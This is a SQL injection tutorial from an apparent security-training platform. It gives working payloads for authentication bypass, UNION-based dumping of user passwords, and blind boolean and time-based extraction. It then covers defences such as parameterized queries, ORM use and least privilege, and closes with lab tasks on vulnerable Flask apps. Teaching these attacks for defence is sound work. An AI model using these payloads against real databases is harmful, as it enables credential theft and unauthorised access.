SQL Injection & Database Security

Master SQL injection — how it works, classic and blind techniques, UNION attacks, and how to defend with parameterized queries, ORMs, and least privilege.

Hard 80m 3 tasks

Learning Objectives

  • Explain how SQL injection works and why it occurs
  • Identify and exploit classic, blind boolean, and time-based SQLi
  • Perform UNION-based data exfiltration
  • Defend with parameterized queries and prepared statements
  • Apply database security hardening: least privilege, WAF, monitoring

What is SQL Injection?

SQL injection occurs when user input is concatenated directly into a SQL query, allowing the attacker to change the query's logic.

# VULNERABLE — direct string concatenation
username = request.GET["username"]
query = "SELECT * FROM users WHERE username = '" + username + "'"
db.execute(query)

# Attacker sends: ' OR '1'='1
# Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1'
# '1'='1' is always true → returns ALL users

Classic SQL Injection

Authentication Bypass

Normal login query:
SELECT * FROM users WHERE username='alice' AND password='secret'

Attack: username = admin'--
Result: SELECT * FROM users WHERE username='admin'--' AND password='...'
             ↑ comment ends the query here — password check removed!

Dumping Data

-- Attack payload in a search field
' UNION SELECT username, password, email, NULL FROM users--

-- The UNION must have the same number of columns as the original SELECT
-- First, figure out column count with ORDER BY:
' ORDER BY 1--   (no error)
' ORDER BY 2--   (no error)
' ORDER BY 5--   (error! → 4 columns)

UNION-Based Exfiltration

-- Original query (4 columns):
SELECT id, name, description, price FROM products WHERE id=?

-- Attacker injects:
1 UNION SELECT username, password, email, 'x' FROM users--

-- Result mixes product and user data in same response

-- Find column count automatically:
1 ORDER BY 1--     (try until error)
1 ORDER BY 4--     (works → 4 cols)

-- Find string-injectable columns (try NULL first):
1 UNION SELECT NULL,NULL,NULL,NULL--
1 UNION SELECT 'a',NULL,NULL,NULL--

Error-Based Extraction (SQLite)

-- Force SQLite to include data in error messages
-- (not always possible — depends on error display)
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INTEGER)--
-- Error: "datatype mismatch" includes the username value

Blind SQL Injection

When the app shows no data but behaves differently based on true/false:

Boolean-Based

-- True condition: page loads normally
' AND 1=1--

-- False condition: page is empty or different
' AND 1=2--

-- Extract data one character at a time:
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'a'--
' AND SUBSTR((SELECT password FROM users LIMIT 1), 1, 1) = 'b'--
...
-- Automate with sqlmap or custom binary search script

-- Extract admin password:
' AND (SELECT COUNT(*) FROM users WHERE role='admin') > 0--
' AND LENGTH((SELECT password FROM users WHERE role='admin')) > 8--
' AND SUBSTR((SELECT password FROM users WHERE role='admin'),1,1)='a'--

Time-Based (Blind)

-- SQLite: no native SLEEP(), but can use heavy computation
-- MySQL: SLEEP(5) delays 5 seconds if condition is true
' AND IF(1=1, SLEEP(5), 0)--

-- SQLite alternative (heavy regex):
' AND (SELECT CASE WHEN (1=1)
       THEN RANDOMBLOB(100000000) ELSE 1 END)--

-- Check if admin user exists (delay if true):
' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE role='admin')>0
       THEN RANDOMBLOB(100000000) ELSE 1 END)--

Defenses

1. Parameterized Queries (Primary Defense)

# Python sqlite3
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password)
)

# Python with psycopg2 (PostgreSQL)
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# Never build queries with % or + formatting
# BAD:
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)

2. ORM (Django)

# SAFE — Django ORM uses parameterized queries internally
user = User.objects.get(username=username)
users = User.objects.filter(role="admin")

# SAFE — .filter() always parameterizes
User.objects.filter(username=username, is_active=True)

# DANGEROUS — raw() with string formatting
User.objects.raw(f"SELECT * FROM users WHERE username='{username}'")

# SAFE — raw() with params
User.objects.raw("SELECT * FROM users WHERE username=%s", [username])

3. Least Privilege

-- Don't connect as root/admin
-- Create read-only user for SELECT-only operations
CREATE USER 'app_reader'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT ON cyberlearn.* TO 'app_reader'@'localhost';

-- Read-write user can't DROP or CREATE
CREATE USER 'app_writer'@'localhost' IDENTIFIED BY 'pass';
GRANT SELECT, INSERT, UPDATE, DELETE ON cyberlearn.* TO 'app_writer'@'localhost';

-- Never GRANT ALL PRIVILEGES for application accounts

4. Input Validation & WAF

import re

def validate_ip(ip: str) -> bool:
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    return all(0 <= int(octet) <= 255 for octet in ip.split('.'))

# Allow-list validation — reject anything not matching expected format
# WAF (Web Application Firewall) — Cloudflare, ModSecurity
# Blocks common SQLi signatures

5. Error Handling

# NEVER show database errors to users
try:
    result = db.execute(query, params)
except Exception:
    logger.exception("Database error")
    return {"error": "An internal error occurred"}, 500
# Detailed error → gives attacker schema info

Security Hardening Checklist

 Parameterized queries everywhere (no string concatenation)
 ORM for all standard queries, raw() only with params
 Least-privilege DB user (no root, no DDL)
 Errors logged server-side, generic message to client
 No sensitive data in error messages
 Input validation (whitelist, not blacklist)
 WAF in front of the application
 DB on private network (not internet-facing)
 Credentials in environment variables, not source code
 Audit log enabled
 Regular backups tested for restore
 Monitor for anomalous query patterns

Set up a vulnerable login page (Flask + SQLite) that uses string concatenation. Test: (1) ' OR '1'='1 to dump all users, (2) admin'-- to bypass password check, (3) ' UNION SELECT username,password,email,NULL FROM users-- to exfiltrate. Screenshot each result.

✦ Answer the questions to complete this task

What SQL comment syntax terminates the rest of a SQLite query?

Why must UNION columns match the original query?

Given an endpoint that returns 'found'/'not found' based on a query — write a Python script that uses boolean blind injection to extract the admin user's password one character at a time. Use SUBSTR() and binary search to minimize requests.

✦ Answer the questions to complete this task

How does boolean blind injection extract data without seeing query results?

Audit a provided vulnerable Flask app (5 SQL injection points). For each one: (1) demonstrate the injection, (2) replace with parameterized query or ORM call, (3) verify the exploit no longer works.

✦ Answer the questions to complete this task

What is the primary defense against SQL injection?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

SQL Injection MCQ

SQL Injection MCQ

Start →
⚙️ Practical Medium +30 XP

Full SQLi Audit and Fix

Full SQLi Audit and Fix

Start →
🚩 Challenge Hard +50 XP

Extract the Flag via SQLi

Extract the Flag via SQLi

Start →